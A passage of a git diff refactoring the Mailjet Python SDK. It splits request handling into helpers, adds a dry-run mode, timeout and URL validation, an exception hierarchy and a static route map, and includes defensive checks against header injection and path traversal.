- self._endpoint_cache[name] = Endpoint(self, name)
+ # 3. Instantiate and Cache
+ # Endpoint._build_url handles the URL resolution internally
+ # using the ROUTE_MAP or dynamic fallback strategies.
+ self._endpoint_cache[name] = Endpoint(self, name)
return self._endpoint_cache[name]
@@ -738,16 +301,147 @@ def __dir__(self) -> list[str]:
list[str]: A sorted list of all standard attributes and dynamic API endpoints.
"""
standard_attrs = list(super().__dir__())
- return sorted(set(standard_attrs + list(self._DYNAMIC_ENDPOINTS)))
+ return sorted(set(standard_attrs + list(ROUTE_MAP.keys())))
# --- Public API ---
def close(self) -> None:
"""Close the underlying requests.Session and purge memory (CWE-316)."""
- if self.session:
+ if getattr(self, "session", None):
self.session.auth = None
self.session.headers.clear()
self.session.close()
+ self.session = None
+
+ @staticmethod
+ def _raise_auth_error(code: int) -> None:
+ msg = "Unauthorized"
+ raise MailjetAuthError(msg, status_code=code)
+
+ def _build_request_kwargs(
+ self,
+ method: HttpMethod,
+ url: str,
+ filters: dict[str, Any] | None = None,
+ data: PayloadType = None,
+ headers: dict[str, str] | None = None,
+ timeout: TimeoutType = None,
+ ensure_ascii: bool | None = None,
+ data_encoding: str | None = None,
+ **kwargs: Any,
+ ) -> dict[str, Any]:
+ """Impure function: Orchestrates the API network request.
+
+ Returns:
+ requests.Response: The HTTP response object.
+ """
+ request_data = self._prepare_payload(data, ensure_ascii, data_encoding)
+ timeout_val = timeout if timeout is not None else self.config.timeout
+
+ SecurityGuard.check_request_security(kwargs)
+ kwargs.setdefault("allow_redirects", False)
+ kwargs.setdefault("verify", True)
+
+ return {
+ "method": method,
+ "url": url,
+ "params": filters,
+ "data": request_data,
+ "headers": headers,
+ "timeout": timeout_val,
+ **kwargs,
+ }
+
+ def _prepare_request(
+ self, method: HttpMethod, url: str, **kwargs: Any
+ ) -> tuple[dict[str, Any], str, dict[str, str]]:
+ """Validate security, prepare kwargs, and extract telemetry.
+
+ Returns:
+ tuple[dict[str, Any], str, dict[str, str]]: Prepared request arguments,
+ telemetry string, and telemetry dictionary.
+ """
+ req_kwargs = self._build_request_kwargs(method=method, url=url, **kwargs)
+ trace_str, trace_dict = self._extract_telemetry(kwargs.get("data"), kwargs.get("headers"))
+
+ if req_kwargs.get("timeout") is None:
+ msg = "Passing 'timeout=None' allows infinite socket blocking and is deprecated (CWE-400)."
+ warnings.warn(msg, DeprecationWarning, stacklevel=2)
+
+ if not req_kwargs.get("verify", True):
+ sys.audit("mailjet.api.tls_disabled", url)
+ msg = "Security Violation: TLS verification disabled."
+ raise ValueError(msg)
+
+ sys.audit("mailjet.api.request", method, url)
+ return req_kwargs, trace_str, trace_dict
+
+ @staticmethod
+ def _mock_dry_run_response() -> requests.Response:
+ """Return a local, memory-only mock response for dry-run interception."""
+ mock_resp = requests.Response()
+ mock_resp.status_code = 200
+ mock_resp._content = b'{"Message": "Dry run successful (No network call made)"}' # noqa: SLF001
+ return mock_resp
+
+ def _handle_dry_run(self, method: HttpMethod, url: str, req_kwargs: dict[str, Any]) -> requests.Response | None:
+ """Intercept mutations in dry-run mode.
+
+ Returns:
+ requests.Response | None: A mock response if intercepted, None otherwise.
+ """
+ if url.endswith("/v3.1/send") and isinstance(req_kwargs.get("data"), dict):
+ req_kwargs["data"]["SandboxMode"] = True
+ logger.info("DRY RUN: Injected SandboxMode into v3.1 Send payload.")
+ return None
+
+ logger.warning("DRY RUN: Intercepted %s %s. Returning mock 200 OK.", method, url)
+ return self._mock_dry_run_response()
+
+ def _execute_request(
+ self, method: HttpMethod, url: str, req_kwargs: dict[str, Any], trace_str: str, trace_dict: dict[str, str]
+ ) -> requests.Response:
+ """Execute network call and handle errors.
+
+ Returns:
+ requests.Response: The HTTP response from the Mailjet API.
+ """
+ # Prevent CRLF header injection (CWE-113)
+ if req_kwargs.get("headers"):
+ SecurityGuard.validate_crlf_headers(req_kwargs["headers"])
+
+ logger.debug(
+ "Sending Request: %s %s%s",
+ method,
+ url,
+ trace_str,
+ extra={"http.method": method, "http.url": url, **trace_dict},
+ )
+
+ if self.config.dry_run and method in {"POST", "PUT", "DELETE"}:
+ dry_run_response = self._handle_dry_run(method, url, req_kwargs)
+ if dry_run_response:
+ return dry_run_response
+
+ try:
+ response = self.session.request(**req_kwargs)
+ if response.status_code == 401:
+ self._raise_auth_error(401)
+ except RequestsTimeout as e:
+ logger.exception("Timeout Error: %s %s%s", method, url, trace_str)
+ msg = f"Request to Mailjet API timed out: {e}"
+ raise TimeoutError(msg) from e
+
+ except RequestsConnectionError as e:
+ logger.critical("Connection Error: %s | URL: %s%s", e, url, trace_str)
+ msg = f"Connection to Mailjet API failed: {e}"
+ raise CriticalApiError(msg) from e
+ except RequestException as e:
+ msg = f"An unexpected Mailjet API network error occurred: {e}"
+ raise ApiError(msg) from e
+
+ self._log_response(response, method, url, trace_str)
+ return response
def api_call(
self,
@@ -756,7 +450,7 @@ def api_call(
filters: dict[str, Any] | None = None,
data: PayloadType = None,
headers: dict[str, str] | None = None,
- timeout: TimeoutType = None, # noqa: PYI041
+ timeout: TimeoutType = None,
ensure_ascii: bool | None = None,
data_encoding: str | None = None,
**kwargs: Any,
@@ -779,69 +473,20 @@ def api_call(
Returns:
requests.Response: The HTTP response from the Mailjet API.
-
- Raises:
- TimeoutError: If the API request times out.
- CriticalApiError: If a connection failure occurs.
- ApiError: For other unhandled network exceptions.
"""
- request_data = self._prepare_payload(data, ensure_ascii, data_encoding)
- timeout_val = timeout if timeout is not None else self.config.timeout
-
- # Soft CWE-400 mitigation: Warn on infinite blocking, but allow it for v1.x backward compatibility
- if not timeout_val:
- warnings.warn(
- "Passing 'timeout=None' allows infinite socket blocking and is deprecated (CWE-400). "
- "Explicit timeouts will be strictly enforced in Mailjet SDK v2.0.",
- DeprecationWarning,
- stacklevel=2,
- )
-
- trace_str = self._extract_telemetry(data, headers)
-
- SecurityGuard.check_request_security(kwargs)
-
- # Safe Defaults: Block Open Redirects and enforce TLS Verification
- kwargs.setdefault("allow_redirects", False)
- kwargs.setdefault("verify", True)
-
- # Audit Hook: Alert monitoring systems if TLS is bypassed
- if not kwargs.get("verify"):
- sys.audit("mailjet.api.tls_disabled", url)
- warnings.warn(
- "Mailjet API TLS verification is disabled. This permits MITM attacks.", RuntimeWarning, stacklevel=2
- )
-
- # PEP 578: Emit standard audit event for outbound network egress
- sys.audit("mailjet.api.request", method, url)
-
- logger.debug("Sending Request: %s %s%s", method, url, trace_str)
-
- try:
- response = self.session.request(
- method=method,
- url=url,
- params=filters,
- data=request_data,
- headers=headers,
- timeout=timeout_val,
- **kwargs,
- )
- except RequestsTimeout as error:
- logger.exception("Timeout Error: %s %s%s", method, url, trace_str)
- msg = f"Request to Mailjet API timed out: {error}"
- raise TimeoutError(msg) from error
- except RequestsConnectionError as error:
- logger.critical("Connection Error: %s | URL: %s%s", error, url, trace_str)
- msg = f"Connection to Mailjet API failed: {error}"
- raise CriticalApiError(msg) from error
- except RequestException as error:
- logger.critical("Request Exception: %s | URL: %s%s", error, url, trace_str)
- msg = f"An unexpected Mailjet API network error occurred: {error}"
- raise ApiError(msg) from error
+ req_kwargs, trace_str, trace_dict = self._prepare_request(
+ method=method,
+ url=url,
+ filters=filters,
+ data=data,
+ headers=headers,
+ timeout=timeout,
+ ensure_ascii=ensure_ascii,
+ data_encoding=data_encoding,
+ **kwargs,
+ )
- self._log_response(response, method, url, trace_str)
- return response
+ return self._execute_request(method, url, req_kwargs, trace_str, trace_dict)
# --- Private / Static Helpers ---
@@ -906,36 +551,27 @@ def _log_response(response: requests.Response, method: str, url: str, trace_str:
)
@staticmethod
- def _extract_telemetry(data: Any, headers: dict[str, str] | None) -> str:
- """Extract tracing identifiers for safe logging.
+ def _extract_telemetry(data: Any, _headers: dict[str, str] | None) -> tuple[str, dict[str, str]]:
+ """Extract tracing identifiers for safe logging and structured telemetry.
Args:
data (Any): The request payload.
- headers (dict[str, str] | None): Request headers.
Returns:
- str: A formatted telemetry trace suffix.
+ tuple[str, dict[str, str]]: A tuple containing the formatted telemetry trace suffix
+ and a dictionary of structured data.
"""
trace_ctx = []
+ structured_data = {}
with suppress(Exception):
if isinstance(data, dict):
messages = data.get("Messages", [{}])
- msg = messages[0] if isinstance(messages, list) and messages else {}
- if cid := msg.get("CustomID"):
- trace_ctx.append(f"CustomID={SecurityGuard.sanitize_log_trace(cid)}")
- if tid := msg.get("TemplateID"):
- trace_ctx.append(f"TemplateID={SecurityGuard.sanitize_log_trace(tid)}")
- if cid_raw := data.get("X-MJ-CustomID"):
- trace_ctx.append(f"CustomID={SecurityGuard.sanitize_log_trace(cid_raw)}")
- if camp := data.get("X-Mailjet-Campaign"):
- trace_ctx.append(f"Campaign={SecurityGuard.sanitize_log_trace(camp)}")
-
- if headers:
- for key, val in headers.items():
- k_low = key.lower()
- if k_low == "x-mj-customid":
- trace_ctx.append(f"CustomID={SecurityGuard.sanitize_log_trace(val)}")
- elif k_low == "x-mailjet-campaign":
- trace_ctx.append(f"Campaign={SecurityGuard.sanitize_log_trace(val)}")
-
- return f" | Trace: [{' '.join(trace_ctx)}]" if trace_ctx else ""
+ target_dict = messages[0] if isinstance(messages, list) and messages else data
+
+ for field in _ALLOWED_TRACE_FIELDS:
+ if val := target_dict.get(field) or data.get(field):
+ clean_val = SecurityGuard.sanitize_log_trace(val)
+ trace_ctx.append(f"{field}={clean_val}")
+ structured_data[f"mailjet.{field.lower()}"] = clean_val
+
+ return f" | Trace: [{' '.join(trace_ctx)}]" if trace_ctx else "", structured_data
diff --git a/mailjet_rest/config.py b/mailjet_rest/config.py
new file mode 100644
index 0000000..89c21e0
--- /dev/null
+++ b/mailjet_rest/config.py
@@ -0,0 +1,105 @@
+"""Configuration settings for the Mailjet SDK."""
+
+import math
+from dataclasses import dataclass
+from typing import ClassVar
+
+from mailjet_rest._version import __version__
+from mailjet_rest.types import _DEFAULT_TIMEOUT, _JSON_HEADERS, _TEXT_HEADERS, TimeoutType
+from mailjet_rest.utils.guardrails import SecurityGuard
+
+
+@dataclass(slots=True, kw_only=True)
+class Config:
+ """Configuration settings for interacting with the Mailjet API.
+
+ Attributes:
+ ALLOWED_ROOT_DOMAIN (ClassVar[str]): The permitted root domain to prevent SSRF.
+ version (str): The API version to use (e.g., 'v3', 'v3.1', 'v1').
+ api_url (str): The base URL for the Mailjet API.
+ user_agent (str): The User-Agent string sent with API requests.
+ timeout (TimeoutType): Request timeout in seconds.
+ """
+
+ ALLOWED_ROOT_DOMAIN: ClassVar[str] = "mailjet.com"
+
+ version: str = "v3"
+ api_url: str = "https://api.mailjet.com/"
+ user_agent: str = f"mailjet-apiv3-python/v{__version__}"
+ timeout: TimeoutType = _DEFAULT_TIMEOUT
+ dry_run: bool = False
+ enable_security_audit: bool = False
+
+ def __post_init__(self) -> None:
+ """Validate configuration for secure transport and resource limits (OWASP Input Validation).
+
+ Raises:
+ ValueError: If the URL scheme is insecure or timeout bounds are violated.
+ """
+ SecurityGuard.validate_config_url(self.api_url, allowed_root_domain=self.ALLOWED_ROOT_DOMAIN)
+
+ if not self.api_url.endswith("/"):
+ self.api_url += "/"
+
+ if self.timeout is not None:
+ if isinstance(self.timeout, tuple):
+ if len(self.timeout) != 2:
+ msg = "Timeout tuple must contain exactly two elements (connect, read)."
+ raise ValueError(msg)
+ clean_tuple = []
+ for t in self.timeout:
+ # 1. Scope type coercion strictly
+ try:
+ val = float(t)
+ except (ValueError, TypeError) as e:
+ msg = f"Invalid timeout tuple element: {t}"
+ raise ValueError(msg) from e
+
+ # 2. Scope invariant validation separately
+ if math.isnan(val) or math.isinf(val) or val <= 0:
+ msg = f"Timeout tuple values must be positive finite numbers, got {val}"
+ raise ValueError(msg)
+
+ clean_tuple.append(val)
+ self.timeout = tuple(clean_tuple) # type: ignore[assignment]
+ else:
+ # 1. Scope type coercion strictly
+ try:
+ val = float(self.timeout)
+ except (ValueError, TypeError) as e:
+ msg = f"Security Violation: Timeout must be numeric, got {type(self.timeout).__name__}."
+ raise ValueError(msg) from e
+
+ # 2. Scope invariant validation separately
+ if math.isnan(val) or math.isinf(val) or val <= 0:
+ msg = f"Timeout must be a strictly positive finite number, got {val}"
+ raise ValueError(msg)
+
+ self.timeout = val
+
+ def __getitem__(self, key: str) -> tuple[str, dict[str, str]]:
+ """Retrieve the base API endpoint URL and default headers for a given key.
+
+ Args:
+ key (str): The raw endpoint key name.
+
+ Returns:
+ tuple[str, dict[str, str]]: A tuple containing the base URL and the headers dictionary.
+ """
+ action = key.split("_", maxsplit=1)[0]
+ name_lower = key.lower()
+
+ if name_lower == "send":
+ url = f"{self.api_url}{self.version}/send"
+ elif name_lower.endswith(("_csvdata", "_csverror")):
+ url = f"{self.api_url}{self.version}/DATA/{action}"
+ elif key.lower().startswith("data_"):
+ action_path = key.replace("_", "/")
+ url = f"{self.api_url}{self.version}/{action_path}"
+ else:
+ url = f"{self.api_url}{self.version}/REST/{action}"
+
+ # Utilize the pre-allocated constants to save dictionary creation overhead
+ headers = dict(_TEXT_HEADERS) if name_lower.endswith("_csvdata") else dict(_JSON_HEADERS)
+
+ return url, headers
diff --git a/mailjet_rest/endpoint.py b/mailjet_rest/endpoint.py
new file mode 100644
index 0000000..7aaf5c6
--- /dev/null
+++ b/mailjet_rest/endpoint.py
@@ -0,0 +1,390 @@
+"""API Endpoint routing and request building."""
+
+from __future__ import annotations
+
+import re
+import warnings
+from dataclasses import dataclass, field
+from typing import TYPE_CHECKING, Any
+from urllib.parse import quote
+
+from mailjet_rest.routes import ROUTE_MAP
+from mailjet_rest.types import _JSON_HEADERS, _TEXT_HEADERS, HttpMethod, PayloadType, TimeoutType
+from mailjet_rest.utils.guardrails import SecurityGuard
+
+
+# Prevent circular import at runtime
+if TYPE_CHECKING:
+ from collections.abc import Callable, Generator
+
+ import requests
+
+ from mailjet_rest.client import Client
+
+
+# ==========================================
+# Routing & Endpoints
+# ==========================================
+
+
+def _route_send(base: str, ver: str, _parts: list[str], _id_val: str, _action: str, _name: str) -> str:
+ return f"{base}/{ver}/send"
+
+
+def _route_csv(base: str, ver: str, parts: list[str], id_val: str, _action: str, name: str) -> str:
+ # 1. quote() encodes slashes and spaces (CWE-20)
+ # 2. replace() explicitly encodes dots to prevent strict ".." evaluation (CWE-22)
+ safe_part = quote(parts[0], safe="").replace(".", "%2E")
+
+ url = f"{base}/{ver}/DATA/{safe_part}"
+ if id_val: # Only append suffix if an ID was passed
+ suffix = "CSVData/text:plain" if name.endswith("_csvdata") else "CSVError/text:csv"
+ url += f"{id_val}/{suffix}"
+ return url
+
+
+def _route_data(base: str, ver: str, parts: list[str], id_val: str, action: str, _name: str | None = None) -> str:
+ return f"{base}/{ver}/{'/'.join(parts)}{id_val}{action}"
+
+
+def _route_rest(base: str, ver: str, parts: list[str], id_val: str, action: str, _name: str) -> str:
+ if len(parts) > 1:
+ # Preserve legacy parity: v1 uses slashes, v3 uses dashes
+ sub_action_str = "/".join(parts[1:]) if ver == "v1" else "-".join(parts[1:])
+ sub_action = f"/{sub_action_str}"
+ else:
+ sub_action = ""
+ return f"{base}/{ver}/REST/{parts[0]}{id_val}{sub_action}{action}"
+
+
+ROUTE_STRATEGY: dict[str, Callable[..., str]] = {
+ "send": _route_send,
+ "csv": _route_csv,
+ "data": _route_data,
+ "rest": _route_rest,
+}
+
+
+@dataclass(slots=True)
+class Endpoint:
+ """A class representing a specific Mailjet API endpoint.
+
+ This class provides methods to execute standard HTTP operations (GET, POST, PUT, DELETE)
+ dynamically based on the requested resource.
+ """
+
+ client: Client
+ name: str
+ _name_lower: str = field(init=False)
+ _action_parts: list[str] = field(init=False)
+ _resource_lower: str = field(init=False)
+
+ def __post_init__(self) -> None:
+ """Pre-compute routing strings ONCE instead of on every network call."""
+ self._name_lower = self.name.lower()
+ parts = self.name.split("_")
+
+ # Base resource ignores CamelCase-to-dash conversion (matches legacy behavior)
+ self._resource_lower = parts[0].lower()
+ self._action_parts = [self._resource_lower]
+
+ # Re-implement camelCase-to-dash conversion natively for sub-actions
+ if len(parts) > 1:
+ for part in parts[1:]:
+ # Convert 'linkClick' to 'link-click' natively
+ dashed = "".join("-" + c.lower() if c.isupper() else c for c in part)
+ self._action_parts.append(dashed.lstrip("-"))
+
+ @staticmethod
+ def _build_csv_url(base_url: str, version: str, resource: str, name_lower: str, id_val: int | str | None) -> str:
+ """Construct the URL for CSV data endpoints.
+
+ Args:
+ base_url (str): The base API URL.
+ version (str): The API version.
+ resource (str): The base resource name.
+ name_lower (str): The lowercase endpoint name.
+ id_val (int | str | None): The primary resource ID.
+
+ Returns:
+ str: The fully constructed CSV endpoint URL.
+ """
+ url = f"{base_url}/{version}/DATA/{resource}"
+ if id_val is not None:
+ safe_id = quote(str(id_val), safe="")
+ suffix = "CSVData/text:plain" if name_lower.endswith("_csvdata") else "CSVError/text:csv"
+ url += f"/{safe_id}/{suffix}"
+ return url
+
+ def _build_url(self, id_val: int | str | None = None, action_id: int | str | None = None) -> str:
+ """Constructs the fully qualified API URL.
+
+ Leverages immutable static registry routing mappings with URI template
+ safe injection gates to fail-closed against cross-boundary vulnerabilities.
+
+ Args:
+ id_val (int | str | None): The resource ID.
+ action_id (int | str | None): Additional specific resource action id.
+
+ Returns:
+ str: The fully qualified, sanitized secure URL.
+ """
+ # 1. Registry-First Routing (Express Lane Orchestrator)
+ if self.name in ROUTE_MAP:
+ route = ROUTE_MAP[self.name]
+ base_url = self.client.config.api_url.rstrip("/")
+ version = route.version if route.version is not None else self.client.config.version
+
+ # Validate structural DX constraints prior to assembly
+ SecurityGuard.validate_dx_routing(version, self._name_lower, self._resource_lower)
+
+ path = route.path
+
+ # Enforce centralized sanitization layer directly on URI template parameters
+ if id_val is not None and "{" in path:
+ safe_id = SecurityGuard.sanitize_segment(id_val)
+ path = re.sub(r"\{[^}]+\}", safe_id, path, count=1)
+ id_val = None # Parameter fully consumed by the template boundary
+
+ if action_id is not None and "{" in path:
+ safe_action = SecurityGuard.sanitize_segment(action_id)
+ path = re.sub(r"\{[^}]+\}", safe_action, path, count=1)
+ action_id = None # Parameter fully consumed by the template boundary
+
+ # Assemble clean path matrix
+ url = f"{base_url}/{version}/{path}"
+
+ # Append any unconsumed trailing parameters safely
+ if id_val is not None:
+ url += f"/{SecurityGuard.sanitize_segment(id_val)}"
+ if action_id is not None:
+ url += f"/{SecurityGuard.sanitize_segment(action_id)}"
+
+ return url
+
+ # 2. Existing Fallback (Legacy Support)
+ # This keeps original routing logic running for everything else
+ base_url = self.client.config.api_url.rstrip("/")
+ version = self.client.config.version
+
+ SecurityGuard.validate_dx_routing(version, self._name_lower, self._resource_lower)
+
+ safe_id = f"/{quote(str(id_val), safe='')}" if id_val is not None else ""
+ safe_action = f"/{quote(str(action_id), safe='')}" if action_id is not None else ""
+
+ if self._name_lower == "send":
+ strategy = "send"
+ elif self._name_lower.endswith(("_csvdata", "_csverror")):
+ strategy = "csv"
+ elif self._resource_lower == "data":
+ strategy = "data"
+ else:
+ strategy = "rest"
+
+ # Pass self._name_lower into the strategy
+ return ROUTE_STRATEGY[strategy](base_url, version, self._action_parts, safe_id, safe_action, self._name_lower)
+
+ def _build_headers(self, custom_headers: dict[str, str] | None = None) -> dict[str, str]:
+ """Build headers based on the endpoint requirements.
+
+ Args:
+ custom_headers (dict[str, str] | None): Custom headers to merge.
+
+ Returns:
+ dict[str, str]: The finalized HTTP headers.
+ """
+ # Select the base immutable mapping proxy
+ base_headers = _TEXT_HEADERS if self._name_lower.endswith("_csvdata") else _JSON_HEADERS
+
+ if custom_headers:
+ SecurityGuard.validate_crlf_headers(custom_headers)
+ return {**base_headers, **custom_headers}
+
+ return dict(base_headers)
+
+ def __call__(
+ self,
+ method: HttpMethod = "GET",
+ filters: dict[str, Any] | None = None,
+ data: PayloadType = None,
+ headers: dict[str, str] | None = None,
+ id: int | str | None = None, # noqa: A002
+ action_id: int | str | None = None,
+ timeout: TimeoutType = None, # noqa: PYI041
+ ensure_ascii: bool | None = None,
+ data_encoding: str | None = None,
+ **kwargs: Any,
+ ) -> requests.Response:
+ """Execute the API call dynamically.
+
+ Returns:
+ requests.Response: The HTTP response from the Mailjet API.
+ """
+ if id is None and action_id is not None:
+ id = action_id # noqa: A001
+ action_id = None
+
+ if filters is None and "filter" in kwargs:
+ filters = kwargs.pop("filter")
+ elif "filter" in kwargs:
+ kwargs.pop("filter")
+
+ # Delegate cleanly to the Client orchestrator
+ return self.client.api_call(
+ method=method,
+ url=self._build_url(id_val=id, action_id=action_id),
+ filters=filters,
+ data=data,
+ headers=self._build_headers(headers),
+ timeout=timeout,
+ ensure_ascii=ensure_ascii,
+ data_encoding=data_encoding,
+ **kwargs,
+ )
+
+ def get(
+ self,
+ id: int | str | None = None, # noqa: A002
+ filters: dict[str, Any] | None = None,
+ action_id: int | str | None = None,
+ **kwargs: Any,
+ ) -> requests.Response:
+ """Perform a GET request to retrieve resources.
+
+ Args:
+ id (int | str | None): The primary resource ID.
+ filters (dict[str, Any] | None): Query parameters.
+ action_id (int | str | None): The sub-action ID.
+ **kwargs (Any): Additional arguments.
+
+ Returns:
+ requests.Response: The HTTP response from the API.
+ """
+ return self(method="GET", id=id, filters=filters, action_id=action_id, **kwargs)
+
+ def stream(
+ self,
+ filters: dict[str, Any] | None = None,
+ chunk_size: int = 100,
+ method: HttpMethod = "GET",
+ **kwargs: Any,
+ ) -> Generator[dict[str, Any], None, None]:
+ """Transparently yields resources, handling pagination automatically.
+
+ Args:
+ filters (dict[str, Any] | None): Query parameters.
+ chunk_size (int): Number of items to fetch per API request (max 1000).
+ method: HttpMethod: only GET allowed.
+ **kwargs (Any): Additional arguments.
+
+ Yields:
+ dict[str, Any]: Individual resource items from the API.
+ """
+ if method.upper() != "GET":
+ msg = f"stream() is designed for GET requests only, got {method}"
+ raise ValueError(msg)
+ current_offset = 0
+ total = float("inf")
+ current_filters = dict(filters) if filters else {}
+
+ while current_offset < total:
+ current_filters.update({"Limit": chunk_size, "Offset": current_offset})
+ response = self.get(filters=current_filters, **kwargs)
+ data = response.json()
+ try:
+ items = data.get("Data", [])
+ if not items:
+ break
+ yield from items
+ current_offset += chunk_size
+ finally:
+ response.close()
+
+ def create(
+ self,
+ data: PayloadType = None,
+ id: int | str | None = None, # noqa: A002
+ action_id: int | str | None = None,
+ ensure_ascii: bool | None = None,
+ data_encoding: str | None = None,
+ **kwargs: Any,
+ ) -> requests.Response:
+ """Perform a POST request to create a new resource.
+
+ Args:
+ data (PayloadType): Request payload.
+ id (int | str | None): The primary resource ID.
+ action_id (int | str | None): The sub-action ID.
+ ensure_ascii (bool | None): Ensure ASCII serialization (Deprecated).
+ data_encoding (str | None): Data encoding string (Deprecated).
+ **kwargs (Any): Additional arguments.
+
+ Returns:
+ requests.Response: The HTTP response from the API.
+ """
+ if ensure_ascii is not None or data_encoding is not None:
+ msg = (
+ "'ensure_ascii' and 'data_encoding' are deprecated and will be removed in future releases. "
+ "The underlying requests library handles serialization natively."
+ )
+ warnings.warn(msg, DeprecationWarning, stacklevel=2)
+ return self(
+ method="POST",
+ data=data,
+ id=id,
+ action_id=action_id,
+ ensure_ascii=ensure_ascii,
+ data_encoding=data_encoding,
+ **kwargs,
+ )
+
+ def update(
+ self,
+ id: int | str, # noqa: A002
+ data: PayloadType = None,
+ action_id: int | str | None = None,
+ ensure_ascii: bool | None = None,
+ data_encoding: str | None = None,
+ **kwargs: Any,
+ ) -> requests.Response:
+ """Perform a PUT request to update an existing resource.
+
+ Args:
+ id (int | str): The primary resource ID.
+ data (PayloadType): Updated payload.
+ action_id (int | str | None): The sub-action ID.
+ ensure_ascii (bool | None): Ensure ASCII serialization (Deprecated).
+ data_encoding (str | None): Data encoding string (Deprecated).
+ **kwargs (Any): Additional arguments.
+
+ Returns:
+ requests.Response: The HTTP response from the API.
+ """
+ if ensure_ascii is not None or data_encoding is not None:
+ msg = (
+ "'ensure_ascii' and 'data_encoding' are deprecated and will be removed in future releases. "
+ "The underlying requests library handles serialization natively."
+ )
+ warnings.warn(msg, DeprecationWarning, stacklevel=2)
+ return self(
+ method="PUT",
+ id=id,
+ data=data,
+ action_id=action_id,
+ ensure_ascii=ensure_ascii,
+ data_encoding=data_encoding,
+ **kwargs,
+ )
+
+ def delete(self, id: int | str, action_id: int | str | None = None, **kwargs: Any) -> requests.Response: # noqa: A002
+ """Perform a DELETE request to remove a resource.
+
+ Args:
+ id (int | str): The primary resource ID.
+ action_id (int | str | None): The sub-action ID.
+ **kwargs (Any): Additional arguments.
+
+ Returns:
+ requests.Response: The HTTP response from the API.
+ """
+ return self(method="DELETE", id=id, action_id=action_id, **kwargs)
diff --git a/mailjet_rest/errors.py b/mailjet_rest/errors.py
new file mode 100644
index 0000000..261443a
--- /dev/null
+++ b/mailjet_rest/errors.py
@@ -0,0 +1,63 @@
+"""Domain-specific exception hierarchy for the Mailjet SDK."""
+
+
+# --- Root Base Class ---
+class ApiError(Exception):
+ """Base class for all API-related network errors."""
+
+
+# --- New Granular Domain Exceptions ---
+class MailjetNetworkError(ApiError):
+ """Raised for transport-level issues (timeouts, TLS violations)."""
+
+
+class MailjetApiError(ApiError):
+ """Raised for 4xx/5xx API responses."""
+
+ def __init__(self, message: str, status_code: int = 0, response_body: str = "") -> None:
+ """Initialize the API error.
+
+ Args:
+ message: The error message.
+ status_code: HTTP status code.
+ response_body: The raw response content.
+ """
+ super().__init__(message)
+ self.status_code = status_code
+ self.response_body = response_body
+
+
+class MailjetAuthError(MailjetApiError):
+ """Raised for 401/403 Authentication/Authorization failures."""
+
+
+# --- Legacy Exceptions (The Bridge) ---
+# We keep these as subclasses of the new hierarchy to preserve backward compatibility.
+
+
+class TimeoutError(MailjetNetworkError): # noqa: A001
+ """Legacy exception: maintained for backward compatibility."""
+
+
+class CriticalApiError(MailjetNetworkError):
+ """Legacy exception: now a NetworkError."""
+
+
+class AuthorizationError(MailjetAuthError):
+ """Deprecated: The SDK natively returns the requests.Response object for 401."""
+
+
+class ActionDeniedError(MailjetAuthError):
+ """Deprecated: The SDK natively returns the requests.Response object for 403."""
+
+
+class DoesNotExistError(MailjetApiError):
+ """Deprecated: The SDK natively returns the requests.Response object for 404."""
+
+
+class ValidationError(MailjetApiError):
+ """Deprecated: The SDK natively returns the requests.Response object for 400."""
+
+
+class ApiRateLimitError(MailjetApiError):
+ """Deprecated: The SDK natively returns the requests.Response object for 429."""
diff --git a/mailjet_rest/routes.py b/mailjet_rest/routes.py
new file mode 100644
index 0000000..9d6acde
--- /dev/null
+++ b/mailjet_rest/routes.py
@@ -0,0 +1,120 @@
+"""Static routing mappings table and compilation rules registry."""
+
+from __future__ import annotations
+
+from types import MappingProxyType
+from typing import Final, NamedTuple
+
+
+class Route(NamedTuple):
+ """Named tuple descriptor mapping localized API boundaries.
+
+ Attributes:
+ version (str | None): Hardcoded version overwrite or None for dynamic fallback.
+ path (str): Fully qualified URL template path inside the API target.
+ """
+
+ version: str | None
+ path: str
+
+
+RouteMapType = dict[str, Route]
+
+
+_ROUTE_MAP: RouteMapType = {
+ # ==========================================
+ # Send API & Batching
+ # ==========================================
+ "send": Route(None, "send"),
+ "batch": Route(None, "batch"),
+ "batchjob": Route(None, "REST/batchjob"),
+ # ==========================================
+ # Contacts & Contact Lists
+ # ==========================================
+ "contact": Route(None, "REST/contact"),
+ "contactdata": Route(None, "REST/contactdata"),
+ "contactmetadata": Route(None, "REST/contactmetadata"),
+ "contactslist": Route(None, "REST/contactslist"),
+ "contactfilter": Route(None, "REST/contactfilter"),
+ "contactslistsignup": Route(None, "REST/contactslistsignup"),
+ "csvimport": Route(None, "REST/csvimport"),
+ "listrecipient": Route(None, "REST/listrecipient"),
+ # Contact Actions (Sub-resources)
+ "contact_managemanycontacts": Route(None, "REST/contact/managemanycontacts"),
+ "contactslist_managemanycontacts": Route(None, "REST/contactslist/{id}/managemanycontacts"),
+ "contact_getcontactslists": Route(None, "REST/contact/{id}/getcontactslists"),
+ # ==========================================
+ # Campaigns & Newsletters
+ # ==========================================
+ "campaign": Route(None, "REST/campaign"),
+ "newsletter": Route(None, "REST/newsletter"),
+ "campaigndraft": Route(None, "REST/campaigndraft"),
+ # Campaign Actions
+ "campaigndraft_schedule": Route(None, "REST/campaigndraft/{id}/schedule"),
+ "campaigndraft_send": Route(None, "REST/campaigndraft/{id}/send"),
+ "campaigndraft_test": Route(None, "REST/campaigndraft/{id}/test"),
+ "campaigndraft_detailcontent": Route(None, "REST/campaigndraft/{id}/detailcontent"),
+ # ==========================================
+ # Messages & History
+ # ==========================================
+ "message": Route(None, "REST/message"),
+ "messagehistory": Route(None, "REST/messagehistory"),
+ "messageinformation": Route(None, "REST/messageinformation"),
+ "messagestate": Route(None, "REST/messagestate"),
+ # ==========================================
+ # Templates
+ # (Email API v3 uses Singular, Content API v1 uses Plural)
+ # ==========================================
+ "template": Route(None, "REST/template"),
+ "templates": Route(None, "REST/templates"),
+ "template_update": Route(None, "REST/template/{id}"),
+ "template_detailcontent": Route(None, "REST/template/{id}/detailcontent"),
+ "templates_contents": Route(None, "REST/templates/{id}/contents"),
+ # Content API Template Actions
+ "template_contents": Route("v1", "REST/templates/{id}/contents"),
+ "template_content_by_type": Route("v1", "REST/templates/{id}/contents/types/{action_id}"),
+ # ==========================================
+ # Statistics & Analytics
+ # ==========================================
+ "statcounters": Route(None, "REST/statcounters"),
+ "contactstatistics": Route(None, "REST/contactstatistics"),
+ "liststatistics": Route(None, "REST/liststatistics"),
+ "bouncestatistics": Route(None, "REST/bouncestatistics"),
+ "clickstatistics": Route(None, "REST/clickstatistics"),
+ "openinformation": Route(None, "REST/openinformation"),
+ "senderstatistics": Route(None, "REST/senderstatistics"),
